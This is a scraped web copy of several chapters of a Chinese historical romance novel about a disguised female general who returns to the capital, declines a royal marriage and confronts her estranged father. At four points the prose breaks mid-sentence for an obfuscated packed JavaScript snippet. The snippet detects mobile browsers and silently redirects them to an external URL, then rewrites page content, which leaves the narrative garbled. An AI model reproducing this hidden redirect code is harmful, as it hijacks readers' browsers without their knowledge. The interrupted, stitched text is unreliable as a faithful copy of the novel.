明心回到营中便陷入昏迷，他身上几乎没有一处完好的地方，肋骨断了两根，左腿也折了，再加上崖下一夜，寒气入体，高烧不退，情况非常凶险。 “真是活该。”赵随冷哼一声。 得知明心非但没被送走，以后还要跟在将军身边，他就一直守在这里，眼巴巴地盼着他早登极乐。见到应如是又是为他擦脸拭汗，又是给他喂水喂药，心中越发不是滋味。 应如是没理会他，看着明心满身疮痍，方知坠崖之时，他定是以身相护，才会受如此重的伤，心中顿时五味杂陈。 军医说如果挺过今晚，便无大碍，应如是便衣不解带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15154674|164915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地照顾了他一夜，直到天明时分，见他气息不再紊乱、身体不再发热后才回到大帐，准备回京事宜。 刘、赵副将需留一个在军中主持大局，另外还要再选几名身手好的、信得过的人一起进京。明心是一定要带走的，只是一个光头和尚，放在随从中，多有不便，但若是让他易装，也不知他愿不愿意。 赵随突然闯了进来，开门见山问道：“将军此次进京是否会带上我？” “你与舞起择一人。”应如是答道。 “将军是否已经做出决定？” “为公平起见，由你们自行决定。” 三日后，应如是带着十人小队上路了。因明心腿伤未愈，只好雇了辆马车载他。 对于易装一事，明心并未抗拒，换下僧袍、头戴髢髢，俨然一副翩翩公子模样。 刘舞起看得眼睛都直了，应如是倒是反应平平。 路上，应如是闲来无事，问起刘舞起如何说服赵随留守军中一事，几乎所有人都笑得人仰马翻。 “将军，您有所不知，刘副将的博戏真是让人大开眼界。”其中一人嬉笑道。 刘舞起乜了他一眼，那人登时闭嘴了。 “其实也没什么，就是打叶子牌。”刘舞起解释道。 比起刘舞起能赢，应如是更好奇的是另一件事：“你是怎么让他答应和你打牌的？” “当然是凭借我的聪明才智！”刘舞起显然不愿透露更多。 其实，她是怕说出来会让应如是不快，因为是以她和和尚的交易作为诱饵引他上钩的。 刘舞起很早之前就知道赵随倾慕将军，但是以将军的榆木脑袋，如果他不明说，恐怕这辈子都不会知道，况且车内还坐着一位令人无法忽视的和尚。 想着想着，刘舞起的眼神便飘向了车内—— 仔细看来，这和尚确实和之前见过的都不一样。这是一种很奇妙的感觉，有时觉得他像是水中虚幻的倒影，有时又感觉他随时要乘风而去。好像世间一切他都不放在眼里，又仿佛世间只有他一人。 刘舞起赤/裸/裸的凝视连应如是也看不下去了，唤了好几声才让她收回神思。 “你不会看上他了吧？”应如是试探问道。 刘舞起只是一脸无奈：“将军，你以为谁都和你一样啊！” “……” 5. 第五章 一路无事，十余人历时近两个月抵达京师。 望着“光华门”三字，应如是感慨万千，距上次离京已过去十年。 十年的沧桑变换、人事变迁，不知庭前的那棵海棠树是否还在。 “将军，进京前请换上这个。”刘舞起拿出一个掐丝云纹镂空银面具，这是她早些年路过一个摊贩时看到的，当时就觉得这个面具与她极为相配。 果不其然，面具不仅巧妙地遮住了脸上可怖的疤痕，还增添了几分俊朗之意。 随从几人眼中都流露出惊艳之色，第一次知道“眉清目秀”这个词原来也可以用在自家将军身上，心中油然而生一种自豪感。 城门外禁军早已等候多时，为首那人目露精光、声若洪钟言道：“金甲军右卫中郎将周冀见过应将军，请将军随卑职进宫面圣。” 应如是示意跟前带路，一行人沿着宫乐街浩浩荡荡地朝宫城而去。 禁军中的金甲军一般只护送他国使臣、重要蕃客等，区区一个将军引得金甲军亲自护送，这是极少见的。不仅昭示了皇恩浩荡，也代表着无上的荣耀。 京中百姓早已听到传闻，夹道相迎，坊间一时挤满了人。 “听说这个将军年纪轻轻就收复了十四座城池，比之前的那个莫将军厉害。” “慎言！现在还有谁敢提那个人？” “虽然看不到模样，但那身姿绝非常人可比！” “别说了，你们快看。” 风乍起，掀动轿帘，一张如玉脸庞若隐若现，不知让多少人屏住了呼吸。 “到底是谁说将军长得像恶鬼？简直无稽之谈！” “这姿容堪比梅骨公子。” 人们议论纷纷，但这些话都没有传到应如是耳中。 眼看就要到宫城，应如是忽然想起明心的不便，忙问道：“周将军，末将有一随从腿脚不便，舟车劳顿，可否让其先去驿馆落脚？” 周冀答道：“是卑职疏忽了。” 于是，他拨出一小队人马出来引路，应如是只留下刘舞起一人随行，其余皆跟随去了驿馆。在轿子经过之时，周冀的目光似乎停留了片刻。 穿过皇城司，到达奉天门，皇帝和群臣早已等候多时。 应如是和刘舞起下马叩拜，三呼万岁。 北商国的景和帝年近花甲，是个慈眉善目的老者，为政已有二十余年，无功无过。治下虽谈不上盛世，但百姓至少安居乐业。或许是过于仁善，助长了官场上的歪风邪气，官员间结党营私、派系斗争严重。 一旁的太监已经开始宣读圣旨—— 朕受天命，统御万邦，寰宇之内，皆朕赤子。自朕即位以来，南北纷争不断，民不聊生。今有破敌将军应如是智勇双全，自投身军旅，屡建奇功，复燕荆之失地，固江山之安稳，开盛世之南疆，实乃国之栋梁。朕念卿家之忠勇，特下此诏，以彰其功。 一、册封应如是为从二品镇南将军，金甲战袍一件，宝剑一口，以显军功之盛。 二、赐良田千顷、黄金千两，京中府邸一座，以安家眷。 三、随军将士官升三级，赐黄金百两。 四、望卿家应如是，受此册封，益加奋勉，保我朝江山永固、社稷安康。 钦此！ 应如是跪伏接旨，刚要起身，没想到景和帝伸手托起她的手腕，将她扶起。 “爱卿一路舟车劳顿，朕已备好酒宴，今日便与朕好好痛饮！” 应如是恭敬道：“微臣自当奉陪。” 景和二十三年十二月，帝与百官于奉天门外亲迎应如是回京，封镇南将军，且于宫中设宴三日，群臣共觞，君恩之盛当朝罕见，一时间镇南将军风头无两。 而此刻，应如是只觉得坐立难安，陛下的圣恩自是不敢违抗，群臣的庆贺也只能接受，酒过三巡，人已微醺。 殿中的歌舞换了一批又一批，靡靡之音入耳直叫人昏昏欲睡。 正值隆宠的将军神思飘忽、眼神迷离，忽然开始怀念军中时光，这才明白为什么之前戍边的将军都不愿回到朝堂：朝臣的口腹蜜剑、宫廷的浮华奢靡确实消磨人的意志。 “本宫也要敬将军一杯。”一个娇腻腻的声音响起，听着让人浑身酥麻。 应如是抬眼一看，原是坐在景和帝右侧的贵妃盛氏。 只见她一身珠翠、环佩叮当，一袭鎏金绣雀织锦袍衬得她更加雍容华贵，本就容颜秀美，精心装扮之下更是光彩耀人。 应如是心中哀叹了一声，看来今晚是不得闲了，面上却是不露半分，执起酒杯笑言道：“是微臣该敬贵妃娘娘才是。” “将军谦虚了。燕荆之地几十年的纷争，将军仅用了两年时间就平定，实乃天纵将才，当为我朝之幸。” 应如是笑得脸都僵了，心里想着：您可太抬举我了，这般恭维我，是为那般啊？ “不知将军年几何？可有婚配？” 应如是眉头微动，大抵猜到了她的目的：“微臣未及弱冠，尚未娶妻。” 盛贵妃莞尔一笑，当场对着景和帝撒起娇来：“陛下，将军如此辛劳，身边连个体己人都没有，着实令人心疼。” 这一招显然对景和帝很受用，他那被酒气浸染的酡颜立马凑过去问道：“爱妃有何想法？” “嘉德公主年过及笄，尚未婚配，不如就今日之喜，结两姓之好，岂不乐哉？” “贵妃未免管得太多了吧？”坐在景和帝左侧一直沉默不语的皇后郑氏忽然开口，清冷的声音如同冰雪沁透人心。 如果说贵妃是倾国倾城的富贵牡丹，那皇后便是孤傲高洁的冰山雪莲。双花争艳，各有千秋。 景和帝自从皇后发话后便正襟危坐，自顾自地饮酒，显然并不想参与其中。 盛贵妃委屈拭泪：“臣妾也只是好心，不想皇后娘娘竟如此看我。” 郑皇后不咸不淡地回应：“既是好心，何不将你的顺德公主嫁与将军？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15154675|164915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“可是顺德骄纵，实在难以为配。” 郑皇后看向别处，似是不愿与之争论。这般冷漠的态度反倒激怒了她，盛贵妃向景和帝求助：“陛下，您倒是给臣妾做主啊，臣妾一片赤诚之心，可不能被污蔑。” 景和帝左看右看，踌躇半天也吐不出一个字，忽而看到应如是自在悠闲地揪着一串葡萄在吃，一副事不关己的样子，顿觉气恼。 “爱卿，朕选你当驸马，你可愿意？” 这招祸水东引用的真是妙！不过正合我意。应如是撩起衣袍下跪，郑重其事地说道：“恕微臣不能答应。” 景和帝脸色微变，语气透着不悦：“难道朕的公主还配不上你吗？” 应如是诚惶诚恐地回道：“陛下息怒，是微臣配不上公主。” 不等景和帝开口，应如是继续道：“若将公主下嫁，那便是微臣的罪过。” “爱卿何意？” 应如是直起身子，深吸了一口气，像是下了很大决心一般缓缓抬手，将脸上的面具摘下。 一时间，大殿鸦雀无声，针落可闻。 景和帝显然被应如是的模样惊住了，半晌才叹道：“之前只听闻爱卿的脸受了伤，没想到竟然如此严重。朕可传太医过来医治，或可补救一二。” “与战场上刀伤、箭伤相比，此等小伤实在不值一提，何必劳烦太医？只是微臣擅自摘下面具，不胜惊扰了陛下、皇后、贵妃娘娘和诸位大臣，是微臣之过，还望陛下责罚。” “无妨，爱卿不必放在心上。” 景和帝既然发话了，在场众臣也只能纷纷应和。 应如是再次伏下身子，一板一眼地说道：“公主地位尊贵，若能嫁给微臣，那便是微臣三世修来的福分，但公主代表着皇家，是皇家的脸面，微臣自知面目丑陋，实非良配。再者，微臣出身乡野，父母双亡，本是无根之萍，只愿一生赴沙场，为君效绵薄之力，岂敢攀附公主千金之躯？” 这一番话说得有理有据、滴水不漏，既婉拒了赐婚，又表达了忠心。 景和帝无言以对，只能好言劝慰：“爱卿不必妄自菲薄，天下女子那么多，朕定能为你寻得一位佳人。” “若为媒，乡野村妇或可一议，高门贵女便罢了。”一句话让在场所有的官员颜色一变。 “是本宫考虑不周，还望将军莫怪。”盛贵妃的话虽是对着应如是说的，但却泫然欲泣地看向景和帝。 景和帝又是一番温言软语相劝，应如是忍不住别过头，捂嘴打了个呵欠。 没想到这一微小的举动被郑皇后发现了，应如是只好像个没事人一样地四处张望，忽视了郑皇后眼中一闪而逝的笑意。 “陛下，将军身世如此可怜，实在令人动容，不如让他在京中多留些时日休养生息，也好感受一下光昭府的繁华盛景。”盛贵妃说道。 “爱妃所言极是。” 应如是滞留京中，一场惊天波澜自此掀开，当然这是后话了。 6. 第六章 一场宫宴从午时开到酉时才散场，出了奉天门，应如是觉得身子骨都要散架了，感觉比上战场打仗还要疲累。 刘舞起不知从哪雇了辆马车停在她面前，高声喊道：“恭迎镇南将军，还请将军上车一叙。” 应如是笑骂了一句，翻身进入车内。 “威远校尉，你是何时离开的？”应如是闭目，揉了揉额角问道。 “开宴没多久就找了个由头跑出来了。”刘舞起忍不住诉苦，“那些官员个个笑里藏刀的，说话也弯弯绕绕的，坐在那里与他们喝酒，堪比酷刑！” “京城不比军营，一言一行都有千万双眼睛盯着，可不能再像之前那般随性而为。”应如是嘱咐道。 言及次，她停顿了一下，又道：“陛下留我于京中小住，短时间内恐怕无法回营了，你要是觉得无趣，便离开吧。” “今日宫中可有发生什么？”刘舞起察觉到她语气中的倦意问道。 “倒也没什么大事，只是差点成驸马了。” 刘舞起尖叫出声，好在应如是及时捂住了她的嘴。 “到底怎么回事？” 受不了刘舞起的软磨硬泡，应如是只好将事情的来龙去脉告诉她。 “这么看来，是盛贵妃想要拉拢你，但被郑皇后拦下了。”刘舞起沉吟道。 “你是如何知晓的？”应如是一脸讶异。 “出了宫门，我便在京中各坊市闲游，这是在酒楼里听来的。”刘舞起一脸得意，“宫中势力主要分为两派，分别以郑皇后和盛贵妃为首。与其说是后宫之争，不如说是太子之争，皇帝久不立太子，郑皇后的三皇子和盛贵妃的五皇子都是太子的合适人选。郑皇后的父亲是郑丞相，盛贵妃的父亲是御史中丞盛昌世，两派势力延伸至朝堂，群臣各为其主，明争暗斗了好多年。” 应如是忍不住去猜想：那个人他站在那一边？ 今日宴席上，他亲自为自己敬酒，一脸的虚情假意，似是完全没有认出来。不过也是，一晃已经过去这么多年，像他这般薄情寡义、自私自利之人，又有谁能真的让他放在心上？ “你怎么了？” 逐渐飘远的思绪被刘舞起的声音拉了回来，应如是立马摇首：“无事。” “是不是想起过去的事了？”刘舞起小心翼翼地询问。 刘舞起是这个世上唯一知晓她全部身世的人，连赵随对她的来历也只知其一、不知其二。 “我要留在京中。”没等应如是回答，刘舞起忽然做出一个决定。 “你可想好了？” “我留下来也不全是为了你，初次来京，光昭府的风土人情我还没好好欣赏一番呢！” 应如是明白她的意思，一切皆在不言中。 下车之前，刘舞起突然想到什么，回头看向她，眼神里带着一丝探究：“说实话，留在京中是不是也在你的意料之内？或者说你早就有此打算？” 应如是捂嘴打了个呵欠：“是与不是，有那么重要吗？该来的总会来的，我能做的不过是顺势而为。” 镇南将军府位于富阳坊，在京中最繁华的临安街上，与东市相邻。府内，管家及一帮婢女奴才早已恭候多时。 管家蒋全是个相貌平平的中年男人，看上去老实本分。 “将军，府内奴婢共三十位皆在此，听从将军吩咐。” 面对乌泱泱的一群人，应如是沉默了良久：“我平时用不上这么多人，先歇着吧。” 说完，她拉着刘舞起就走，管家急忙跟上：“将军，不知开府宴如何安排？” 见应如是愣住了，管家解释道：“将军初到京中有所不知，开府宴是我们这的一个习俗，凡京中显贵开府乔迁，都会宴请宾客，一来是为了告知亲朋，二来是为了结交新友、疏通关系。” 应如是思忖了片刻后言道：“暂时不急，容我好好想想。” 从外面看将军府不过是个寻常的府邸，但却内藏乾坤—— 五步一楼、十步一阁，有园景亭湖数处，曲水环绕、花繁叶茂，宛若一个巨大的迷宫。 据说这里原先住着一个富商，后因犯事被官府抄家，没多久富商在狱中畏罪自杀，其家人也离奇失踪，宅子成了无主之宅后被官府征用，改建成现在的镇南将军府。虽说是改建，但并没有大兴土木，只是在原先的基础上简单修葺了一下。 应如是自顾自走了许久，终究还是叹了口气，看向身后亦步亦趋的蒋管家问道：“我住在哪里？” 一旁的刘舞起忍不住笑出声来，边擦眼泪边调侃道：“合着你走了这么久，只是像只无头苍蝇一般在兜圈子？” 蒋管家脸上也挂着一丝笑意：“将军，请随老奴来。府内有东、西、北三处院落，只有这条小径可以连通每个院落，院落之间以湖景相隔，地下设有暗渠，所以整个府内的水系是相通的。” “果真是大户人家，这湖景快赶上一间院子大小了。”刘舞起咂舌道。 应如是走走停停，总感觉哪里不对劲，却又说不上来。 “东西两院已经收拾妥当，将军可以入住。北院偏僻，不宜住人，可以给将军练武。”蒋管家说道。 “既如此，我和舞起就住东院吧。”应如是说道。 管家看向二人的眼神带着一丝耐人寻味，刘舞起立马一个肘击攻向应如是，讪笑道：“将军的意思是，我们在军营里同吃同住惯了，东院这么大，住在同一个院子里相互有个照应。” 应如是配合地点头：“确是如此。” 蒋管家半信半疑地将二人引至东院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15154676|164915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后将要退下，应如是忽然想到了驿馆众人，吩咐道：“京中驿馆还有我的几名随从，烦请管家派人将他们接入府中，安置在西院。其中一人腿上有伤，需请大夫过府医治。” “将军言重了，老奴这就去办。” 连续两日的宫宴让应如是疲惫不堪，宫中尚且如此，更别说民间了，享乐之风盛行。 刘舞起倒是非常适应京中生活，今天去茶馆听戏，明天去酒楼听曲，日子过得极其滋润。 当然，她自是不会承认每日无所事事、沉迷享乐的，美其名曰：打探消息。每天一到夜里，便和应如是分享京中“情报”，实则是一些八卦趣闻。 “你现在也算是个风云人物了。”刘舞起说到这里时忍俊不禁，“京中最大的酒楼赴仙楼常年挂有各种榜，记录各类排名。” 应如是大概也猜到不是什么正经的榜，但依旧配合地问：“我在哪个榜上？” “最佳夫婿榜。”刘舞起说完笑得不能自已，“排名第二。” “上榜理由是虽面貌丑陋，但有自知之明，不攀附权贵，一心寻求有缘人，可见铁汉柔情。”刘舞起开始锤墙顿足。 应如是听完也是淡定，反倒追问：“第一名是哪位？” 刘舞起有些哭笑不得：“将军，你的关注点是位次吗？” 见她一脸认真不像是开玩笑，刘舞起只好回答：“名字挺奇怪的，好像叫什么梅骨，也不知道谁人给他起的名……” 刘舞起说着说着，转头看向应如是，却见她脸上带着清浅的笑意，是她鲜少见过的柔情。 “这个梅骨可是你的故人？”刘舞起问道。 “说来话长，以后会见到的。”应如是不愿多说，刘舞起只能作罢。 “说点正经事，最近我一直盯着那个和尚，发现他似乎与京中的某些人有所往来。”刘舞起停顿了一下，“每次都是鬼鬼祟祟的，每次都是不同的人。” “他的腿伤怎么样了？” “恢复得不错，现在可以拄着拐杖下地行走了。”刘舞起随口应答，而后意识到不对，不满地反问，“你有没有在听我说话？” “那你想怎么样，或者你想让我怎么做？”应如是同样反问她。 “我们不能将他留在这里，他来路不明，迟早是个祸害，最好杀了他。”刘舞起说到这里，看到应如是的表情变化后又补充了一句，“至少我们应该查清楚他到底是何人。” “你若是想查，我不会拦你，手下的人也任你差遣……” 应如是的话还没说完，刘舞起便信誓旦旦地保证道：“你等着，我一定会将他的狐狸尾巴揪出来给你看。” 说完，她便急匆匆地离开了，估计回去想计策去了。 “若是你能查得到的话……” 7. 第七章 应如是终于定下开府宴的日子，向京中所有的达官显贵都下了请帖。照她的话说，本来京中就无旧交，来与不来对她来说都算不得什么。 令人意外的是，几乎所有人都如约而至，车驾仪仗浩浩荡荡挤占了大半条临安街。府内上下忙得不可开交，倒让应如是有些错愕。 “没想到你这镇南将军的脸面如此之大。”刘舞起一找到机会便开始耍嘴皮子。 应如是刚想回应几句，却被一声洪亮的唱喝声打断了。 “太尉王大人到。” 众人纷纷朝门口望去，只见一个鹤发虚白的华服老者拄着一个黑檀木拐杖走了进来，虽步履蹒跚，但气势丝毫不减半分。在场所有官员见着他都是毕恭毕敬的，可见此人德高望重。 应如是没有在宫宴上见过他，对他不甚了解，但总觉得此人有些面熟，不知曾经在何处见过。 刘舞起见她一脸困惑的样子，于是在一旁小声提点：“这个王太尉来历不小，两朝元老，十五岁就跟着先帝打江山、平贼寇，腿伤就是那时留下的。他比当今圣上年长几岁，不涉朝政已久，但在京中声望颇高，听说连陛下都要敬他三分。” 应如是心中了然，此等人物是万不能得罪的，于是立马堆笑着迎了上去：“王太尉，久仰大名。没想到小小开府宴竟然让您屈尊驾临，真是令寒舍蓬荜生辉啊！” “镇南将军言重了。将军为国杀敌，收复失地，功在千秋。老朽只能上门道喜，多有叨扰，还望不厌。”王太尉也恭维道。 应如是一脸惶恐地答道：“太尉言重了，请去前厅稍作休息，用些茶点。” 终于送走了一尊大佛，没等她喘口气，又一人走了进来。 应如是双眸一颤，但随即将情绪掩了过去，眨眼间再次带上笑容：“江大人，别来无恙。” 来人正是礼部尚书江明渊，也就是应如是的亲生父亲。 一句“别来无恙”倒让江明渊先愣了一下，但还是不失礼数地回道：“莺迁仁里,燕贺德邻，葳蕤繁祉，延彼遐龄，特来贺喜。” “请上座。”应如是笑意盈盈地相送，一旁的刘舞起见了忍不住背过身去，颤抖得厉害。 郑丞相紧随其后，他与其他官员有所不同，恭贺了几句后便要离开。只是神情过于严肃，不像是来贺喜的，倒像是来抄家的。 三天的宫宴让应如是习惯了他的古怪脾性，见他离去也不挽留，只是让人好生相送。 眼见门口的车马逐渐稀少，应如是终于得空坐下来歇脚，刚饮一口水，一个高大的人影便挡在她的跟前。 应如是抬眸一看，耀眼的阳光刺入眼中，让她短暂地陷入失明，看不出来人的面貌，只听闻一个纨绔世家公子独有的清亮声音响起：“镇南将军，别来无恙啊！” 应如是的心顿时一沉，脑中飞快地思索着这几天的言行和可能露出的破绽，但是无果。 来人见应如是沉思不语，又笑道：“应将军，何故不语？” 应如是将心一横，她倒要看看这人是何方神圣，于是猛然抬头，见此人正一脸玩味地望着自己。 十年的光阴褪去了他年少的稚气，为他的眉眼添了几分俊朗和英气。模样倒是没怎么变化，但举手投足间多了几分倜傥风流之意。 “阁下是哪位大人？”应如是没在宫宴上见过他，此时只能装傻充愣。 “是在下唐突了。”他作揖行礼道，“国子监司业沈清识，见过将军。” “原来是沈大人，初次见面，果真是少年才俊、气度不凡。”应如是与他寒暄道，“只是大人与我素昧平生，何来‘别来无恙’？” “刚才恰巧听到将军与江大人的对谈，还以为‘别来无恙’是将军特有的问候言辞。”沈清识解释道。 应如是心下稍安，但随即又被他漫不经心的一句话惊得心头一跳：“可仔细一看，将军似是有几分面熟，说不定真是‘别来无恙’。” 茶杯握在手中渐渐收紧，应如是垂下眼眸，极力压抑此刻心中复杂的情绪。 她不知道的是，沈清识自从入府后，视线一直停留在她身上，暗中观察她的一言一行，连他自己也不知道为何如此，只是一种莫名的熟悉感驱使着他。 就在应如是快要露出破绽的时候，刘舞起的一句话及时救她于水火：“原来你就是大名鼎鼎的梅骨公子，最佳夫婿榜的第一名！” 沈清识的嘴角微微抽动了一下，依旧面不改色地问道：“请问姑娘是？” “陛下亲封的威远校尉刘舞起是也。” “原来是巾帼英雄，失敬失敬。”沈清识拱手道。 “你真的叫梅骨吗？”刘舞起毫不顾忌地将他全身上下都扫视了一遍。 “表字梅骨，本名沈清识。” 刘舞起听完后欲言又止地望着他，想说什么却迟迟没有开口。 “刘校尉有何见解，还望直言。”沈清识言语中似是有些不耐。 应如是听出他话中的隐忍和克制，暗自失笑：这么多年了，他的性子倒是没变。 “没什么，不说也罢。”刘舞起摆手言道，而后不知道被什么东西吸引住了，话刚说完，人就不见了。 沈清识无瑕的脸上终于出现了一道裂痕，藏于袖中的手也渐渐握紧成拳。 应如是实在忍得辛苦，轻咳一声：“要不沈大人先入座？” 一场盛大的开府宴直到薄暮时分才收场，人声鼎沸后将军府再次归于寂静。 贺礼堆满了整间屋子，珊瑚、玉器、金佛、夜明珠……琳琅满目，令人目不暇接。 “不愧是京中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15154677|164915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高门大户，真叫人大开眼界。”刘舞起俨然一副财迷心窍的样子，不一会儿身上便挂满了珠宝。 “你能不能有点出息？”应如是实在没眼看下去了，扶额叹道。 “在巨大的财富面前，一切都是浮云。”刘舞起理所当然地回道。 蒋管家站在一旁静看二人一来一回的斗嘴，终于觑空插了一句话：“将军，回礼该当如何？” “全都退回去吧。” “怎么能都退回去呢？”刘舞起不满地小声嘀咕。 应如是不怀好意地看向她：“要不这些全都给你？” “那还是退回去吧，不义之财我怕是无福消受。”刘舞起赶紧将身上挂的东西摘下。 “仔细点，别放错了。”应如是吩咐道，转头却瞧见管家似是有口难言，“有事但说无妨。” “老奴不知将军可否知晓京中的规矩。”蒋管家再三斟酌问道。 “说来听听。” “这回礼也是有讲究的。若是全部收下则代表两家日后是深交，必定相互扶持；收一半回赠一半则表示日后互不侵扰；全部退回就是割席分坐，再无结交的可能。若将军不想以一己之力开罪整个光昭府，还是谨慎些。” 京中势力盘根错杂，现在局势还不明朗，贸然站队恐招致祸端。 “那就都回一半礼吧。”应如是一番思考后做出决定。 原以为开府宴的事情就算过去了，没想到几天后府上突然收到了一张请帖。 请帖上无名无姓，只写着邀请应如是今晚于赴仙楼一叙。 应如是对着请帖看了许久，久到刘舞起忍不住出言相问：“你有没有在听？” “你刚说了什么？”应如是回过神来。 “那些与和尚联络之人都是练家子，身手好的不在少数，我的人跟了他们几次，发现他们进了京中不同的商铺……” 刘舞起滔滔不绝地讲述这几天的尾随经过，但显然应如是的心思不在此处。 “这张请帖有何特殊之处吗？”刘舞起从她手中接过请帖，看了半天也没看出个所以然来。 “是他，我认得他的字。” 虽然没提及那人名字，但刘舞起立马了然，脸色顿时一变。 “要不还是别去吧，指不定有什么阴谋诡计等着你呢！”刘舞起一脸担忧。 “宴非好宴，我自然知晓，但既然相邀，若不去，岂不浪费了他的一番心意？”应如是冷哼道。 “你可千万别冲动，现在最重要的是等待时机，可不能一下子就暴露了。”刘舞起提醒道。 “我隐忍了这么多年，还在乎这些时日吗？”应如是眼中闪过一丝锋芒，“放心，我自有打算。” 刘舞起见她已然下定决心，只好退而求次：“那我跟你一起去。” 8. 第八章 赴仙楼是整个东市最热闹的地方，二人到达之时已是暮色四合，楼内楼外张灯结彩，鼓乐喧天，欢声笑语一片。 作为京城最负盛名的酒楼，赴仙楼里有的可不止是汇集五湖四海的佳肴美酒。 它一共有三层，一楼只为吃喝，二楼可供玩乐，三楼只有贵客能入。 应、刘二人刚至楼前便有小厮上前搭话，看来早已有人安排好。随着小厮一直走到三楼楼梯口处，刘舞起被两个侍卫拦下。 “刘校尉请留步，贵客只邀请应将军一人。” 刘舞起一听就恼了：“若是本校尉非要进去，就凭你们能拦得住吗？” 应如是及时按住了她跃跃欲试的身手，附耳说道：“你先在二楼待着，刚刚来的路上我就开始观察了，他们带的人不多，我应该可以应付。” “万一他们使诈，你未必是对手。”刘舞起也低语道。 “事已至此，只能走一步看一步了。再说，我刚接受册封，他们应该不会立刻对我下手，而且这里人来人往的，如果闹出什么动静，他们也不好收场。” 二人旁若无人地私语了一阵，刘舞起终于放弃了上楼的想法，在二楼找了个位置，看起了大戏。 应如是只身来到三楼，与下面的喧闹不同，三楼安静得像是另一个世界。 左右两边共有十个房间，房门皆是紧闭，窗框上都糊上了金箔纸，从外面根本看不到里面发生什么。 小厮带着应如是来到尽头的那个房间，敲了三声后门就开了。 进去后才发现里面别有洞天，不仅有多个隔间，而且每个隔间里面都是不同的。 应如是状似不经意地看了几眼，里面的情形让她瞠目结舌—— 半明半昧的烛光中，轻纱如雾般掩住里面旖旎的风光，虽然看不真切，但是男女之间的嬉笑逗乐声隐约传来，听得让人面红耳赤。 另一个隔间就不一样了，赌桌上堆满了如山的金银财宝，很多人围坐在一起，甚至有几个是她前几天府宴上刚见过的面孔，他们皆沉浸在博弈的快感中，眼中有种不顾一切的疯狂。 酒池肉林，醉生梦死。 应如是这才意识到这里是一个独属于高位者的巨大欢场，如同一面镜子，折射出北商盛世繁华背后的另一面—— 是官员的腐败、朝堂的腐朽和一个可以预见的走向没落的王朝。 应如是正是思绪万千之时，一不留神便已到了约定的地方。 礼部尚书江明渊一身常服端坐于案前喝着茶水，浑身上下透着一股矜贵之气，见应如是出现，立马起身相迎：“镇南将军，府宴一别，别来无恙？” “托大人挂念，一切安好。” “上次府宴下官对将军一见如故，只恨未能与将军把酒言欢，今设此小宴，斗胆相邀，将军不吝前来，实在令下官铭感五内。” 一番话说得情真意切，令人动容。 应如是同样寒暄道：“大人言重了。上次府宴见大人器宇不凡、博文广识，内心钦佩不已。今日有幸赴大人之宴，实在不胜惶恐。” “既如此，下官斗胆恳请与将军以兄弟相称，不知将军意下如何？”江明渊像是早已计划好一般，笑问道。 应如是一时愣住了，有种说不出来的怪异感涌上心头，但随之而来的厌恶让她差点露出马脚。 “是下官唐突了，将军既是不愿，那此事便作罢。”江明渊的目光暗沉了下来，语气也变得有些生硬。 应如是见情况不对，立马装作一副受宠若惊的样子回应道：“大人多虑了。在下年纪尚浅，又是初入官场，多有不足，恐给大人招惹是非。” “将军这是哪里的话？能与将军结交，是下官的荣幸。” “承蒙厚爱，那以后就仰仗江兄多多提携了。”应如是虚拜了一下。 江明渊面上一喜，拉着应如是的手一同落座，言语中多了几分亲近之意：“提携谈不上，都是一家人，以后贤弟有何需要，尽管向为兄开口。” 谈话间，侍从陆续从外面而入，很快珍馐美酒摆满了一桌子。 “还不知贤弟是哪里人士，可还有亲眷？” 应如是浅啜了口茶，杯子还没搁下，唇角不由勾起：一上来就打听我的底细，也是心急。 “益州牧陵人。家中原有一老母，几年前也过世了。”应如是面露悲色。 江明渊是个极有眼力见的人，立马执起酒杯赔礼道：“是为兄的不是，自罚一杯。” 应如是回敬了一杯：“无妨。听闻江兄家宅和睦，倒是令人心生羡慕啊！” 江明渊笑道：“那就愿贤弟早日觅得良人，尽享天伦。” “我本就出身乡野，举目无亲，仅有的就是战场上拼来的一点军功。”应如是开始长吁短叹，“有谁会看上我这个粗人？” 